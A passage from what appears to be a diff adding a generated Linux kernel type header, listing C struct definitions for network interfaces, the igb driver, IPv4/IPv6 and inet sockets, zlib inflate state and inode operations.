ifal_family; + __u8 __ifal_reserved; + __u8 ifal_prefixlen; + __u8 ifal_flags; + __u32 ifal_index; + __u32 ifal_seq; +}; + +struct ifaddrmsg { + __u8 ifa_family; + __u8 ifa_prefixlen; + __u8 ifa_flags; + __u8 ifa_scope; + __u32 ifa_index; +}; + +struct ifbond { + __s32 bond_mode; + __s32 num_slaves; + __s32 miimon; +}; + +typedef struct ifbond ifbond; + +struct ifreq; + +struct ifconf { + int ifc_len; + union { + char __attribute__((btf_type_tag("user"))) *ifcu_buf; + struct ifreq __attribute__((btf_type_tag("user"))) *ifcu_req; + } ifc_ifcu; +}; + +struct ifinfomsg { + unsigned char ifi_family; + unsigned char __ifi_pad; + unsigned short ifi_type; + int ifi_index; + unsigned int ifi_flags; + unsigned int ifi_change; +}; + +struct ifla_cacheinfo { + __u32 max_reasm_len; + __u32 tstamp; + __u32 reachable_time; + __u32 retrans_time; +}; + +struct ifla_vf_broadcast { + __u8 broadcast[32]; +}; + +struct ifla_vf_guid { + __u32 vf; + __u64 guid; +}; + +struct ifla_vf_info { + __u32 vf; + __u8 mac[32]; + __u32 vlan; + __u32 qos; + __u32 spoofchk; + __u32 linkstate; + __u32 min_tx_rate; + __u32 max_tx_rate; + __u32 rss_query_en; + __u32 trusted; + __be16 vlan_proto; +}; + +struct ifla_vf_link_state { + __u32 vf; + __u32 link_state; +}; + +struct ifla_vf_mac { + __u32 vf; + __u8 mac[32]; +}; + +struct ifla_vf_rate { + __u32 vf; + __u32 min_tx_rate; + __u32 max_tx_rate; +}; + +struct ifla_vf_rss_query_en { + __u32 vf; + __u32 setting; +}; + +struct ifla_vf_spoofchk { + __u32 vf; + __u32 setting; +}; + +struct ifla_vf_stats { + __u64 rx_packets; + __u64 tx_packets; + __u64 rx_bytes; + __u64 tx_bytes; + __u64 broadcast; + __u64 multicast; + __u64 rx_dropped; + __u64 tx_dropped; +}; + +struct ifla_vf_trust { + __u32 vf; + __u32 setting; +}; + +struct ifla_vf_tx_rate { + __u32 vf; + __u32 rate; +}; + +struct ifla_vf_vlan { + __u32 vf; + __u32 vlan; + __u32 qos; +}; + +struct ifla_vf_vlan_info { + __u32 vf; + __u32 vlan; + __u32 qos; + __be16 vlan_proto; +}; + +struct ifmap { + unsigned long mem_start; + unsigned long mem_end; + unsigned short base_addr; + unsigned char irq; + unsigned char dma; + unsigned char port; +}; + +struct ip6_sf_list; + +struct ifmcaddr6 { + struct in6_addr mca_addr; + struct inet6_dev *idev; + struct ifmcaddr6 __attribute__((btf_type_tag("rcu"))) *next; + struct ip6_sf_list __attribute__((btf_type_tag("rcu"))) *mca_sources; + struct ip6_sf_list __attribute__((btf_type_tag("rcu"))) *mca_tomb; + unsigned int mca_sfmode; + unsigned char mca_crcount; + unsigned long mca_sfcount[2]; + struct delayed_work mca_work; + unsigned int mca_flags; + int mca_users; + refcount_t mca_refcnt; + unsigned long mca_cstamp; + unsigned long mca_tstamp; + struct callback_head rcu; +}; + +struct ifreq { + union { + char ifrn_name[16]; + } ifr_ifrn; + union { + struct sockaddr ifru_addr; + struct sockaddr ifru_dstaddr; + struct sockaddr ifru_broadaddr; + struct sockaddr ifru_netmask; + struct sockaddr ifru_hwaddr; + short ifru_flags; + int ifru_ivalue; + int ifru_mtu; + struct ifmap ifru_map; + char ifru_slave[16]; + char ifru_newname[16]; + void __attribute__((btf_type_tag("user"))) *ifru_data; + struct if_settings ifru_settings; + } ifr_ifru; +}; + +struct ifslave { + __s32 slave_id; + char slave_name[16]; + __s8 link; + __s8 state; + __u32 link_failure_count; +}; + +typedef struct ifslave ifslave; + +struct msix_entry { + u32 vector; + u16 entry; +}; + +struct rtnl_link_stats64 { + __u64 rx_packets; + __u64 tx_packets; + __u64 rx_bytes; + __u64 tx_bytes; + __u64 rx_errors; + __u64 tx_errors; + __u64 rx_dropped; + __u64 tx_dropped; + __u64 multicast; + __u64 collisions; + __u64 rx_length_errors; + __u64 rx_over_errors; + __u64 rx_crc_errors; + __u64 rx_frame_errors; + __u64 rx_fifo_errors; + __u64 rx_missed_errors; + __u64 tx_aborted_errors; + __u64 tx_carrier_errors; + __u64 tx_fifo_errors; + __u64 tx_heartbeat_errors; + __u64 tx_window_errors; + __u64 rx_compressed; + __u64 tx_compressed; + __u64 rx_nohandler; + __u64 rx_otherhost_dropped; +}; + +struct igb_tx_queue_stats { + u64 packets; + u64 bytes; + u64 restart_queue; + u64 restart_queue2; +}; + +struct igb_rx_queue_stats { + u64 packets; + u64 bytes; + u64 drops; + u64 csum_err; + u64 alloc_failed; +}; + +struct xdp_mem_info { + u32 type; + u32 id; +}; + +struct xdp_rxq_info { + struct net_device *dev; + u32 queue_index; + u32 reg_state; + struct xdp_mem_info mem; + unsigned int napi_id; + u32 frag_size; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct igb_q_vector; + +struct igb_tx_buffer; + +struct igb_rx_buffer; + +struct igb_ring { + struct igb_q_vector *q_vector; + struct net_device *netdev; + struct bpf_prog *xdp_prog; + struct device *dev; + union { + struct igb_tx_buffer *tx_buffer_info; + struct igb_rx_buffer *rx_buffer_info; + }; + void *desc; + unsigned long flags; + void *tail; + dma_addr_t dma; + unsigned int size; + u16 count; + u8 queue_index; + u8 reg_idx; + bool launchtime_enable; + bool cbs_enable; + s32 idleslope; + s32 sendslope; + s32 hicredit; + s32 locredit; + u16 next_to_clean; + u16 next_to_use; + u16 next_to_alloc; + union { + struct { + struct igb_tx_queue_stats tx_stats; + struct u64_stats_sync tx_syncp; + struct u64_stats_sync tx_syncp2; + }; + struct { + struct sk_buff *skb; + struct igb_rx_queue_stats rx_stats; + struct u64_stats_sync rx_syncp; + }; + }; + long: 64; + long: 64; + long: 64; + long: 64; + struct xdp_rxq_info xdp_rxq; +}; + +struct ptp_pin_desc { + char name[64]; + unsigned int index; + unsigned int func; + unsigned int chan; + unsigned int rsv[5]; +}; + +struct vf_mac_filter { + struct list_head l; + int vf; + bool free; + u8 vf_mac[6]; +}; + +struct vf_data_storage; + +struct igb_mac_addr; + +struct igb_adapter { + unsigned long active_vlans[64]; + struct net_device *netdev; + struct bpf_prog *xdp_prog; + unsigned long state; + unsigned int flags; + unsigned int num_q_vectors; + struct msix_entry msix_entries[10]; + u32 rx_itr_setting; + u32 tx_itr_setting; + u16 tx_itr; + u16 rx_itr; + u16 tx_work_limit; + u32 tx_timeout_count; + int num_tx_queues; + struct igb_ring *tx_ring[16]; + int num_rx_queues; + struct igb_ring *rx_ring[16]; + u32 max_frame_size; + u32 min_frame_size; + struct timer_list watchdog_timer; + struct timer_list phy_info_timer; + u16 mng_vlan_id; + u32 bd_number; + u32 wol; + u32 en_mng_pt; + u16 link_speed; + u16 link_duplex; + u8 *io_addr; + struct work_struct reset_task; + struct work_struct watchdog_task; + bool fc_autoneg; + u8 tx_timeout_factor; + struct timer_list blink_timer; + unsigned long led_status; + struct pci_dev *pdev; + spinlock_t stats64_lock; + struct rtnl_link_stats64 stats64; + struct e1000_hw___3 hw; + struct e1000_hw_stats___3 stats; + struct e1000_phy_info___3 phy_info; + u32 test_icr; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct igb_ring test_tx_ring; + struct igb_ring test_rx_ring; + int msg_enable; + struct igb_q_vector *q_vector[8]; + u32 eims_enable_mask; + u32 eims_other; + u16 tx_ring_count; + u16 rx_ring_count; + unsigned int vfs_allocated_count; + struct vf_data_storage *vf_data; + int vf_rate_link_speed; + u32 rss_queues; + u32 wvbr; + u32 *shadow_vfta; + struct ptp_clock *ptp_clock; + struct ptp_clock_info ptp_caps; + struct delayed_work ptp_overflow_work; + struct work_struct ptp_tx_work; + struct sk_buff *ptp_tx_skb; + struct hwtstamp_config tstamp_config; + unsigned long ptp_tx_start; + unsigned long last_rx_ptp_check; + unsigned long last_rx_timestamp; + unsigned int ptp_flags; + spinlock_t tmreg_lock; + struct cyclecounter cc; + struct timecounter tc; + u32 tx_hwtstamp_timeouts; + u32 tx_hwtstamp_skipped; + u32 rx_hwtstamp_cleared; + bool pps_sys_wrap_on; + struct ptp_pin_desc sdp_config[4]; + struct { + struct timespec64 start; + struct timespec64 period; + } perout[2]; + char fw_version[48]; + struct hwmon_buff *igb_hwmon_buff; + bool ets; + struct i2c_algo_bit_data i2c_algo; + struct i2c_adapter i2c_adap; + struct i2c_client *i2c_client; + u32 rss_indir_tbl_init; + u8 rss_indir_tbl[128]; + unsigned long link_check_timeout; + int copper_tries; + struct e1000_info___2 ei; + u16 eee_advert; + struct hlist_head nfc_filter_list; + struct hlist_head cls_flower_list; + unsigned int nfc_filter_count; + spinlock_t nfc_lock; + bool etype_bitmap[3]; + struct igb_mac_addr *mac_table; + struct vf_mac_filter vf_macs; + struct vf_mac_filter *vf_mac_list; + spinlock_t vfs_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct igb_mac_addr { + u8 addr[6]; + u8 queue; + u8 state; +}; + +struct igb_nfc_input { + u8 match_flags; + __be16 etype; + __be16 vlan_tci; + u8 src_addr[6]; + u8 dst_addr[6]; +}; + +struct igb_nfc_filter { + struct hlist_node nfc_node; + struct igb_nfc_input filter; + unsigned long cookie; + u16 etype_reg_index; + u16 sw_idx; + u16 action; +}; + +struct igb_ring_container { + struct igb_ring *ring; + unsigned int total_bytes; + unsigned int total_packets; + u16 work_limit; + u8 count; + u8 itr; +}; + +struct igb_q_vector { + struct igb_adapter *adapter; + int cpu; + u32 eims_value; + u16 itr_val; + u8 set_itr; + void *itr_register; + struct igb_ring_container rx; + struct igb_ring_container tx; + struct napi_struct napi; + struct callback_head rcu; + char name[25]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct igb_ring ring[0]; +}; + +struct igb_reg_info { + u32 ofs; + char *name; +}; + +struct igb_reg_test { + u16 reg; + u16 reg_offset; + u16 array_len; + u16 test_type; + u32 mask; + u32 write; +}; + +struct igb_rx_buffer { + dma_addr_t dma; + struct page *page; + __u32 page_offset; + __u16 pagecnt_bias; +}; + +struct igb_stats { + char stat_string[32]; + int sizeof_stat; + int stat_offset; +}; + +struct xdp_frame; + +struct igb_tx_buffer { + union e1000_adv_tx_desc *next_to_watch; + unsigned long time_stamp; + enum igb_tx_buf_type type; + union { + struct sk_buff *skb; + struct xdp_frame *xdpf; + }; + unsigned int bytecount; + u16 gso_segs; + __be16 protocol; + dma_addr_t dma; + __u32 len; + u32 tx_flags; +}; + +struct igmp6_mc_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct inet6_dev *idev; +}; + +struct igmp6_mcf_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct inet6_dev *idev; + struct ifmcaddr6 *im; +}; + +struct in_device; + +struct igmp_mc_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct in_device *in_dev; +}; + +struct ip_mc_list; + +struct igmp_mcf_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct in_device *idev; + struct ip_mc_list *im; +}; + +struct igmphdr { + __u8 type; + __u8 code; + __sum16 csum; + __be32 group; +}; + +struct igmpv3_grec { + __u8 grec_type; + __u8 grec_auxwords; + __be16 grec_nsrcs; + __be32 grec_mca; + __be32 grec_src[0]; +}; + +struct igmpv3_query { + __u8 type; + __u8 code; + __sum16 csum; + __be32 group; + __u8 qrv: 3; + __u8 suppress: 1; + __u8 resv: 4; + __u8 qqic; + __be16 nsrcs; + __be32 srcs[0]; +}; + +struct igmpv3_report { + __u8 type; + __u8 resv1; + __sum16 csum; + __be16 resv2; + __be16 ngrec; + struct igmpv3_grec grec[0]; +}; + +struct ignore_entry { + u16 vid; + u16 pid; + u16 bcdmin; + u16 bcdmax; +}; + +struct imc_uncore_pci_dev { + __u32 pci_id; + struct pci_driver *driver; +}; + +struct in6_flowlabel_req { + struct in6_addr flr_dst; + __be32 flr_label; + __u8 flr_action; + __u8 flr_share; + __u16 flr_flags; + __u16 flr_expires; + __u16 flr_linger; + __u32 __flr_pad; +}; + +struct in6_ifreq { + struct in6_addr ifr6_addr; + __u32 ifr6_prefixlen; + int ifr6_ifindex; +}; + +struct in6_pktinfo { + struct in6_addr ipi6_addr; + int ipi6_ifindex; +}; + +struct in6_rtmsg { + struct in6_addr rtmsg_dst; + struct in6_addr rtmsg_src; + struct in6_addr rtmsg_gateway; + __u32 rtmsg_type; + __u16 rtmsg_dst_len; + __u16 rtmsg_src_len; + __u32 rtmsg_metric; + unsigned long rtmsg_info; + __u32 rtmsg_flags; + int rtmsg_ifindex; +}; + +struct in6_validator_info { + struct in6_addr i6vi_addr; + struct inet6_dev *i6vi_dev; + struct netlink_ext_ack *extack; +}; + +struct ipv4_devconf { + void *sysctl; + int data[33]; + unsigned long state[1]; +}; + +struct in_ifaddr; + +struct neigh_parms; + +struct in_device { + struct net_device *dev; + netdevice_tracker dev_tracker; + refcount_t refcnt; + int dead; + struct in_ifaddr __attribute__((btf_type_tag("rcu"))) *ifa_list; + struct ip_mc_list __attribute__((btf_type_tag("rcu"))) *mc_list; + struct ip_mc_list __attribute__((btf_type_tag("rcu"))) * __attribute__((btf_type_tag("rcu"))) *mc_hash; + int mc_count; + spinlock_t mc_tomb_lock; + struct ip_mc_list *mc_tomb; + unsigned long mr_v1_seen; + unsigned long mr_v2_seen; + unsigned long mr_maxdelay; + unsigned long mr_qi; + unsigned long mr_qri; + unsigned char mr_qrv; + unsigned char mr_gq_running; + u32 mr_ifc_count; + struct timer_list mr_gq_timer; + struct timer_list mr_ifc_timer; + struct neigh_parms *arp_parms; + struct ipv4_devconf cnf; + struct callback_head callback_head; +}; + +struct in_ifaddr { + struct hlist_node hash; + struct in_ifaddr __attribute__((btf_type_tag("rcu"))) *ifa_next; + struct in_device *ifa_dev; + struct callback_head callback_head; + __be32 ifa_local; + __be32 ifa_address; + __be32 ifa_mask; + __u32 ifa_rt_priority; + __be32 ifa_broadcast; + unsigned char ifa_scope; + unsigned char ifa_prefixlen; + unsigned char ifa_proto; + __u32 ifa_flags; + char ifa_label[16]; + __u32 ifa_valid_lft; + __u32 ifa_preferred_lft; + unsigned long ifa_cstamp; + unsigned long ifa_tstamp; +}; + +struct in_pktinfo { + int ipi_ifindex; + struct in_addr ipi_spec_dst; + struct in_addr ipi_addr; +}; + +struct in_validator_info { + __be32 ivi_addr; + struct in_device *ivi_dev; + struct netlink_ext_ack *extack; +}; + +struct ipv6_txoptions; + +struct inet6_cork { + struct ipv6_txoptions *opt; + u8 hop_limit; + u8 tclass; +}; + +struct ipv6_stable_secret { + bool initialized; + struct in6_addr secret; +}; + +struct ipv6_devconf { + __u8 __cacheline_group_begin__ipv6_devconf_read_txrx[0]; + __s32 disable_ipv6; + __s32 hop_limit; + __s32 mtu6; + __s32 forwarding; + __s32 disable_policy; + __s32 proxy_ndp; + __u8 __cacheline_group_end__ipv6_devconf_read_txrx[0]; + __s32 accept_ra; + __s32 accept_redirects; + __s32 autoconf; + __s32 dad_transmits; + __s32 rtr_solicits; + __s32 rtr_solicit_interval; + __s32 rtr_solicit_max_interval; + __s32 rtr_solicit_delay; + __s32 force_mld_version; + __s32 mldv1_unsolicited_report_interval; + __s32 mldv2_unsolicited_report_interval; + __s32 use_tempaddr; + __s32 temp_valid_lft; + __s32 temp_prefered_lft; + __s32 regen_min_advance; + __s32 regen_max_retry; + __s32 max_desync_factor; + __s32 max_addresses; + __s32 accept_ra_defrtr; + __u32 ra_defrtr_metric; + __s32 accept_ra_min_hop_limit; + __s32 accept_ra_min_lft; + __s32 accept_ra_pinfo; + __s32 ignore_routes_with_linkdown; + __s32 accept_source_route; + __s32 accept_ra_from_local; + __s32 drop_unicast_in_l2_multicast; + __s32 accept_dad; + __s32 force_tllao; + __s32 ndisc_notify; + __s32 suppress_frag_ndisc; + __s32 accept_ra_mtu; + __s32 drop_unsolicited_na; + __s32 accept_untracked_na; + struct ipv6_stable_secret stable_secret; + __s32 use_oif_addrs_only; + __s32 keep_addr_on_down; + __s32 seg6_enabled; + __u32 enhanced_dad; + __u32 addr_gen_mode; + __s32 ndisc_tclass; + __s32 rpl_seg_enabled; + __u32 ioam6_id; + __u32 ioam6_id_wide; + __u8 ioam6_enabled; + __u8 ndisc_evict_nocarrier; + __u8 ra_honor_pio_life; + __u8 ra_honor_pio_pflag; + struct ctl_table_header *sysctl_header; +}; + +struct ipstats_mib; + +struct ipv6_devstat { + struct proc_dir_entry *proc_dir_entry; + struct ipstats_mib __attribute__((btf_type_tag("percpu"))) *ipv6; + struct icmpv6_mib_device *icmpv6dev; + struct icmpv6msg_mib_device *icmpv6msgdev; +}; + +struct inet6_dev { + struct net_device *dev; + netdevice_tracker dev_tracker; + struct list_head addr_list; + struct ifmcaddr6 __attribute__((btf_type_tag("rcu"))) *mc_list; + struct ifmcaddr6 __attribute__((btf_type_tag("rcu"))) *mc_tomb; + unsigned char mc_qrv; + unsigned char mc_gq_running; + unsigned char mc_ifc_count; + unsigned char mc_dad_count; + unsigned long mc_v1_seen; + unsigned long mc_qi; + unsigned long mc_qri; + unsigned long mc_maxdelay; + struct delayed_work mc_gq_work; + struct delayed_work mc_ifc_work; + struct delayed_work mc_dad_work; + struct delayed_work mc_query_work; + struct delayed_work mc_report_work; + struct sk_buff_head mc_query_queue; + struct sk_buff_head mc_report_queue; + spinlock_t mc_query_lock; + spinlock_t mc_report_lock; + struct mutex mc_lock; + struct ifacaddr6 __attribute__((btf_type_tag("rcu"))) *ac_list; + rwlock_t lock; + refcount_t refcnt; + __u32 if_flags; + int dead; + u32 desync_factor; + struct list_head tempaddr_list; + struct in6_addr token; + struct neigh_parms *nd_parms; + struct ipv6_devconf cnf; + struct ipv6_devstat stats; + struct timer_list rs_timer; + __s32 rs_interval; + __u8 rs_probes; + unsigned long tstamp; + struct callback_head rcu; + unsigned int ra_mtu; +}; + +struct inet6_fill_args { + u32 portid; + u32 seq; + int event; + unsigned int flags; + int netnsid; + int ifindex; + enum addr_type_t type; +}; + +struct inet6_ifaddr { + struct in6_addr addr; + __u32 prefix_len; + __u32 rt_priority; + __u32 valid_lft; + __u32 prefered_lft; + refcount_t refcnt; + spinlock_t lock; + int state; + __u32 flags; + __u8 dad_probes; + __u8 stable_privacy_retry; + __u16 scope; + __u64 dad_nonce; + unsigned long cstamp; + unsigned long tstamp; + struct delayed_work dad_work; + struct inet6_dev *idev; + struct fib6_info *rt; + struct hlist_node addr_lst; + struct list_head if_list; + struct list_head if_list_aux; + struct list_head tmp_list; + struct inet6_ifaddr *ifpub; + int regen_count; + bool tokenized; + u8 ifa_proto; + struct callback_head rcu; + struct in6_addr peer_addr; +}; + +struct inet6_skb_parm; + +struct inet6_protocol { + int (*handler)(struct sk_buff *); + int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); + unsigned int flags; + u32 secret; +}; + +struct inet6_skb_parm { + int iif; + __be16 ra; + __u16 dst0; + __u16 srcrt; + __u16 dst1; + __u16 lastopt; + __u16 nhoff; + __u16 flags; + __u16 frag_max_size; + __u16 srhoff; +}; + +struct inet_bind2_bucket { + possible_net_t ib_net; + int l3mdev; + unsigned short port; + unsigned short addr_type; + struct in6_addr v6_rcv_saddr; + struct hlist_node node; + struct hlist_node bhash_node; + struct hlist_head owners; +}; + +struct inet_bind_bucket { + possible_net_t ib_net; + int l3mdev; + unsigned short port; + signed char fastreuse; + signed char fastreuseport; + kuid_t fastuid; + struct in6_addr fast_v6_rcv_saddr; + __be32 fast_rcv_saddr; + unsigned short fast_sk_family; + bool fast_ipv6_only; + struct hlist_node node; + struct hlist_head bhash2; +}; + +struct inet_bind_hashbucket { + spinlock_t lock; + struct hlist_head chain; +}; + +struct inet_cork { + unsigned int flags; + __be32 addr; + struct ip_options *opt; + unsigned int fragsize; + int length; + struct dst_entry *dst; + u8 tx_flags; + __u8 ttl; + __s16 tos; + char priority; + __u16 gso_size; + u64 transmit_time; + u32 mark; +}; + +struct inet_cork_full { + struct inet_cork base; + struct flowi fl; +}; + +struct ipv6_pinfo; + +struct ip_mc_socklist; + +struct inet_sock { + struct sock sk; + struct ipv6_pinfo *pinet6; + unsigned long inet_flags; + __be32 inet_saddr; + __s16 uc_ttl; + __be16 inet_sport; + struct ip_options_rcu __attribute__((btf_type_tag("rcu"))) *inet_opt; + atomic_t inet_id; + __u8 tos; + __u8 min_ttl; + __u8 mc_ttl; + __u8 pmtudisc; + __u8 rcv_tos; + __u8 convert_csum; + int uc_index; + int mc_index; + __be32 mc_addr; + u32 local_port_range; + struct ip_mc_socklist __attribute__((btf_type_tag("rcu"))) *mc_list; + struct inet_cork_full cork; +}; + +struct request_sock_queue { + spinlock_t rskq_lock; + u8 rskq_defer_accept; + u32 synflood_warned; + atomic_t qlen; + atomic_t young; + struct request_sock *rskq_accept_head; + struct request_sock *rskq_accept_tail; + struct fastopen_queue fastopenq; +}; + +struct inet_connection_sock_af_ops; + +struct tcp_ulp_ops; + +struct inet_connection_sock { + struct inet_sock icsk_inet; + struct request_sock_queue icsk_accept_queue; + struct inet_bind_bucket *icsk_bind_hash; + struct inet_bind2_bucket *icsk_bind2_hash; + unsigned long icsk_timeout; + struct timer_list icsk_retransmit_timer; + struct timer_list icsk_delack_timer; + __u32 icsk_rto; + __u32 icsk_rto_min; + __u32 icsk_delack_max; + __u32 icsk_pmtu_cookie; + const struct tcp_congestion_ops *icsk_ca_ops; + const struct inet_connection_sock_af_ops *icsk_af_ops; + const struct tcp_ulp_ops *icsk_ulp_ops; + void __attribute__((btf_type_tag("rcu"))) *icsk_ulp_data; + void (*icsk_clean_acked)(struct sock *, u32); + unsigned int (*icsk_sync_mss)(struct sock *, u32); + __u8 icsk_ca_state: 5; + __u8 icsk_ca_initialized: 1; + __u8 icsk_ca_setsockopt: 1; + __u8 icsk_ca_dst_locked: 1; + __u8 icsk_retransmits; + __u8 icsk_pending; + __u8 icsk_backoff; + __u8 icsk_syn_retries; + __u8 icsk_probes_out; + __u16 icsk_ext_hdr_len; + struct { + __u8 pending; + __u8 quick; + __u8 pingpong; + __u8 retry; + __u32 ato: 8; + __u32 lrcv_flowlabel: 20; + __u32 unused: 4; + unsigned long timeout; + __u32 lrcvtime; + __u16 last_seg_size; + __u16 rcv_mss; + } icsk_ack; + struct { + int search_high; + int search_low; + u32 probe_size: 31; + u32 enabled: 1; + u32 probe_timestamp; + } icsk_mtup; + u32 icsk_probes_tstamp; + u32 icsk_user_timeout; + u64 icsk_ca_priv[13]; +}; + +struct inet_connection_sock_af_ops { + int (*queue_xmit)(struct sock *, struct sk_buff *, struct flowi *); + void (*send_check)(struct sock *, struct sk_buff *); + int (*rebuild_header)(struct sock *); + void (*sk_rx_dst_set)(struct sock *, const struct sk_buff *); + int (*conn_request)(struct sock *, struct sk_buff *); + struct sock * (*syn_recv_sock)(const struct sock *, struct sk_buff *, struct request_sock *, struct dst_entry *, struct request_sock *, bool *); + u16 net_header_len; + u16 sockaddr_len; + int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); + int (*getsockopt)(struct sock *, int, int, char __attribute__((btf_type_tag("user"))) *, int __attribute__((btf_type_tag("user"))) *); + void (*addr2sockaddr)(struct sock *, struct sockaddr *); + void (*mtu_reduced)(struct sock *); +}; + +struct inet_ehash_bucket { + struct hlist_nulls_head chain; +}; + +struct inet_fill_args { + u32 portid; + u32 seq; + int event; + unsigned int flags; + int netnsid; + int ifindex; +}; + +struct inet_frags { + unsigned int qsize; + void (*constructor)(struct inet_frag_queue *, const void *); + void (*destructor)(struct inet_frag_queue *); + void (*frag_expire)(struct timer_list *); + struct kmem_cache *frags_cachep; + const char *frags_cache_name; + struct rhashtable_params rhash_params; + refcount_t refcnt; + struct completion completion; +}; + +struct inet_listen_hashbucket; + +struct inet_hashinfo { + struct inet_ehash_bucket *ehash; + spinlock_t *ehash_locks; + unsigned int ehash_mask; + unsigned int ehash_locks_mask; + struct kmem_cache *bind_bucket_cachep; + struct inet_bind_hashbucket *bhash; + struct kmem_cache *bind2_bucket_cachep; + struct inet_bind_hashbucket *bhash2; + unsigned int bhash_size; + unsigned int lhash2_mask; + struct inet_listen_hashbucket *lhash2; + bool pernet; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct inet_listen_hashbucket { + spinlock_t lock; + struct hlist_nulls_head nulls_head; +}; + +struct ipv4_addr_key { + __be32 addr; + int vif; +}; + +struct inetpeer_addr { + union { + struct ipv4_addr_key a4; + struct in6_addr a6; + u32 key[4]; + }; + __u16 family; +}; + +struct inet_peer { + struct rb_node rb_node; + struct inetpeer_addr daddr; + u32 metrics[17]; + u32 rate_tokens; + u32 n_redirects; + unsigned long rate_last; + union { + struct { + atomic_t rid; + }; + struct callback_head rcu; + }; + __u32 dtime; + refcount_t refcnt; +}; + +struct proto_ops; + +struct inet_protosw { + struct list_head list; + unsigned short type; + unsigned short protocol; + struct proto *prot; + const struct proto_ops *ops; + unsigned char flags; +}; + +struct request_sock_ops; + +struct saved_syn; + +struct request_sock { + struct sock_common __req_common; + struct request_sock *dl_next; + u16 mss; + u8 num_retrans; + u8 syncookie: 1; + u8 num_timeout: 7; + u32 ts_recent; + struct timer_list rsk_timer; + const struct request_sock_ops *rsk_ops; + struct sock *sk; + struct saved_syn *saved_syn; + u32 secid; + u32 peer_secid; + u32 timeout; +}; + +struct inet_request_sock { + struct request_sock req; + u16 snd_wscale: 4; + u16 rcv_wscale: 4; + u16 tstamp_ok: 1; + u16 sack_ok: 1; + u16 wscale_ok: 1; + u16 ecn_ok: 1; + u16 acked: 1; + u16 no_srccheck: 1; + u16 smc_ok: 1; + u32 ir_mark; + union { + struct ip_options_rcu __attribute__((btf_type_tag("rcu"))) *ireq_opt; + struct { + struct ipv6_txoptions *ipv6_opt; + struct sk_buff *pktopts; + }; + }; +}; + +struct inet_skb_parm { + int iif; + struct ip_options opt; + u16 flags; + u16 frag_max_size; +}; + +struct inet_timewait_death_row { + refcount_t tw_refcount; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct inet_hashinfo *hashinfo; + int sysctl_max_tw_buckets; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct inet_timewait_sock { + struct sock_common __tw_common; + __u32 tw_mark; + unsigned char tw_substate; + unsigned char tw_rcv_wscale; + __be16 tw_sport; + unsigned int tw_transparent: 1; + unsigned int tw_flowlabel: 20; + unsigned int tw_usec_ts: 1; + unsigned int tw_pad: 2; + unsigned int tw_tos: 8; + u32 tw_txhash; + u32 tw_priority; + struct timer_list tw_timer; + struct inet_bind_bucket *tw_tb; + struct inet_bind2_bucket *tw_tb2; +}; + +struct inflate_state { + inflate_mode mode; + int last; + int wrap; + int havedict; + int flags; + unsigned int dmax; + unsigned long check; + unsigned long total; + unsigned int wbits; + unsigned int wsize; + unsigned int whave; + unsigned int write; + unsigned char *window; + unsigned long hold; + unsigned int bits; + unsigned int length; + unsigned int offset; + unsigned int extra; + const code *lencode; + const code *distcode; + unsigned int lenbits; + unsigned int distbits; + unsigned int ncode; + unsigned int nlen; + unsigned int ndist; + unsigned int have; + code *next; + unsigned short lens[320]; + unsigned short work[288]; + code codes[2048]; +}; + +struct inflate_workspace { + struct inflate_state inflate_state; + unsigned char working_window[32768]; +}; + +struct inform_bss_update_data { + struct ieee80211_rx_status *rx_status; + bool beacon; +}; + +struct x86_mapping_info; + +struct init_pgtable_data { + struct x86_mapping_info *info; + pgd_t *level4p; +}; + +struct init_sequence { + int (*init_func)(void); + void (*exit_func)(void); +}; + +struct inode_defrag { + struct rb_node rb_node; + u64 ino; + u64 transid; + u64 root; + u32 extent_thresh; +}; + +struct inode_fs_paths { + struct btrfs_path *btrfs_path; + struct btrfs_root *fs_root; + struct btrfs_data_container *fspath; +}; + +struct mnt_idmap; + +struct kstat; + +struct offset_ctx; + +struct inode_operations { + struct dentry * (*lookup)(struct inode *, struct dentry *, unsigned int); + const char * (*get_link)(struct dentry *, struct inode *, struct delayed_call *); + int (*permission)(struct mnt_idmap *, struct inode *, int); + struct posix_acl * (*get_inode_acl)(struct inode *, int, bool); + int (*readlink)(struct dentry *, char __attribute__((btf_type_tag("user"))) *, int); + int (*create)(struct mnt_idmap *, struct inode *, struct dentry *, umode_t, bool); + int (*link)(struct dentry *, struct inode *, struct dentry *); + int (*unlink)(struct inode *, struct dentry *); + int (*symlink)(struct mnt_idmap *, struct inode *, struct dentry *, const char *); + int (*mkdir)(struct mnt_idmap *, struct inode *, struct dentry *, umode_t); + int (*rmdir)(struct inode *, struct dentry *); + int (*mknod)(struct mnt_idmap *, struct inode *, struct dentry *, umode_t, dev_t); + int (*rename)(struct mnt_idmap *, struct inode *, struct dentry *, struct inode *, struct dentry *, unsigned int); + int (*setattr)(struct mnt_idmap *, struct dentry *, struct iattr *); + int (*getattr)(struct mnt_idmap *, const struct path *, struct kstat *, u32, unsigned int); + ssize_t (*listxattr)(struct dentry *, char *, size_t); + int (*fiemap)(struct inode *, struct fiemap_extent_info *, u64, u64); + int (*update_time)(struct inode *, int); + int (*atomic_open)(struct inode *, struct dentry *, struct file *, unsigned int, umode_t); + int (*tmpfile)(struct mnt_idmap *, struct inode *, struct file *, umode_t); + struct posix_acl * (*get_acl)(struct mnt_idmap *, struct dentry *, int); + int (*set_acl)(struct mnt_idmap *, struct dentry *, struct posix_acl *, int); + int (*fileattr_set)(struct mnt_idmap *, struct dentry *, struct fileattr *); + int (*fileattr_get)(struct dentry *, struct fileattr *); + struct offset_ctx * (*get_offset_ctx)(struct inode *); + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct inode_switch_wbs_context { + struct rcu_work work; + struct bdi_writeback *new_wb; + struct inode *inodes[0]; +}; + +struct inodes_stat_t { + long 